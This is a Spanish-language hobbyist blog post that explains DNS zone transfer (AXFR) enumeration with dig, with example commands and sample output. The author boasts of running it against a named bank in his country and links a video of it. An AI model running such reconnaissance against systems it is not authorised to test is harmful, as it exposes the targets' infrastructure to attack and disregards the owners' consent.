Vulnerabilidades AXFR
UPDATE:: Ya se pueden hacer comentarios! :D
Este post esta dedicado a una vulnerabilidad en los mal configurados servidores DNS llamada “Vulnerabilidad AXFR” (Original no?) la cual nos permite hacer un listado de la Base de Datos de un servidor DNS. Segun el gran maestro Wikipedia el 60% de los sitios en internet tienen esta vulnerabilidad. y yo en especial he encontrado esta vulnerabilidad en un supuesto servidor DNS seguro (jaja, si claro XD). para los que les gusta ver citas de Wikipedia aqui esta:
Las siglas AXFR hace referencia a la transferencia por zonas de un DNS primario a un DNS secundario o de un DNS primario a un server maestro y de un server maestro a un DNS secundario, si llegara a existir algún problema de configuración o actualización del software de cualquiera de estos servidores se podrían explotar una serie de vulnerabilidades como por ejemplo un DoS y la integridad y confidencialidad de la base de datos del DNS primario se verían comprometidas, se estima que alrededor de un 60% de los servidores DNS en internet son vulnerables
Ahora que se ve mas bonito el post con la disque-teoria vamos a la practica. la parte que mas nos gusta jaja :P!
El Servidor que he encontrado vulnerable es un Banco de buena categoria aqui en mi pais. es el Banco Uno. Antes de Empezar: NO ME HAGO RESPONSABLE POR EL CONTENIDO AQUI MOSTRADO A TODA PERSONA (O BOT) QUE LEA ESTE TEMA. ESTAN BAJO SU PROPIA RESPONSABILIDAD!
El programa que utilizaremos es uno basico y que viene en todos (o casi todos) los sistemas linux y es el famoso DIG. la sintaxis es simple. primero debemos de encontrar cual es el servidor dns el cual se conecta con la pagina web (o host mejor dicho) para resolver direcciones:
Sintaxis:
dig [ HOST ] [ TYPE ]
Ejemplo:
dig bancouno.com ANY
En donde dice TYPE ahi vamos a poner lo que queremos obtener de la peticion dns. cuando puse ANY fue porque quiero CUALQUIER (ANY) tipo de informacion. pero se puede especificar. Busquen en google. de todos modos pronto pondre un post sobre esto ;)
Despues de efectuar esta operacion devolvera los resultados y tambien los servidores DNS del Host. Entonces copiamos los servidores que son los que tienen un NS como clasificacion y despues el server. Algo Asi:
; <<>> DiG 9.6.1-P2 <<>> Host.com ANY
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33068
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 2
;; QUESTION SECTION:
;bancouno.com. IN ANY
;; ANSWER SECTION:
Host.com. 86326 IN NS ns2.serverdns.net.
Host.com. 86326 IN NS ns1.serverdns.net.
;; AUTHORITY SECTION:
Host.com. 86326 IN NS ns1.serverdns.net. ==> Este es el que necesitamos
Host.com. 86326 IN NS ns2.serverdns.net.
;; ADDITIONAL SECTION:
ns1.serverdns.net. 137625 IN A x.x.x.x
ns2.serverdns.net. 137626 IN A x.x.x.x
;; Query time: 51 msec
;; SERVER: x.x.x.x#53(x.x.x.x)
;; WHEN: Mon Jan 25 18:45:06 2010
;; MSG SIZE rcvd: 136
Bueno. ahora que tenemos el servidor dns de nuestro host vamos a realizar el ataque AXFR (lo cual no es un ataque tecnicamente, es una peticion).
Sintaxis:
dig [ @servidor.primario.net ] [ host.com ] [ AXFR ]
Ejemplo:
dig @ns1.serverdns.net Host.com AXFR
y Listo. si es vulnerable nos tirara los registros :D! y nos saldra algo asi:
; <<>> DiG 9.6.1-P2 <<>> @ns1.secure.net bancouno.com AXFr
; (1 server found)
;; global options: +cmd
Host.com. 86400 IN SOA ns1.serverdns.net. hostmaster.serverdns.net. 2007122307 86400 7200 2592000 86400
Host.com. 86400 IN A 216.239.38.21
Host.com. 86400 IN A 216.239.32.21
Host.com. 86400 IN A 216.239.34.21
Host.com. 86400 IN A 216.239.36.21
Host.com. 86400 IN NS ns1.serverdns.net.
Host.com. 86400 IN NS ns2.serverdns.net.
Host.com. 86400 IN MX 10 Host.com.
ftp.Host.com. 86400 IN CNAME Host.com.
imap.Host.com. 86400 IN CNAME Host.com.
localhost.Host.com. 86400 IN A 127.0.0.1
news.Host.com. 86400 IN CNAME Host.com.
pop.Host.com. 86400 IN CNAME Host.com.
smtp.Host.com. 86400 IN CNAME Host.com.
www.Host.com. 86400 IN CNAME .
Host.com. 86400 IN SOA ns1.secure.net. hostmaster.secure.net. 2007122307 86400 7200 2592000 86400
;; Query time: 165 msec
;; SERVER: x.x.x.x#53(x.x.x.x)
;; WHEN: Mon Jan 25 19:07:39 2010
;; XFR size: 16 records (messages 1, bytes 412)
Listo. Ahi tenemos mucha informacion de los servicios que nos ofrece el host sin la necesidad de hacer un Escaneo de Puertos o Port Surfing jaja. :D!
y por si fuera poco aqui tienen el video de la vulnerabilidad que encontre en el banco de mi pais:
http://media.w00t.in//2010/01/1050371005_bancouno.flvy si se lo quieren descargar pues aqui esta:
http://www.multiupload.com/RFI6QREWUE
Have Fun With Responsability ;) jaja. =P



Kernel Error no es vurnerable a AXFR por cierto :D
Usando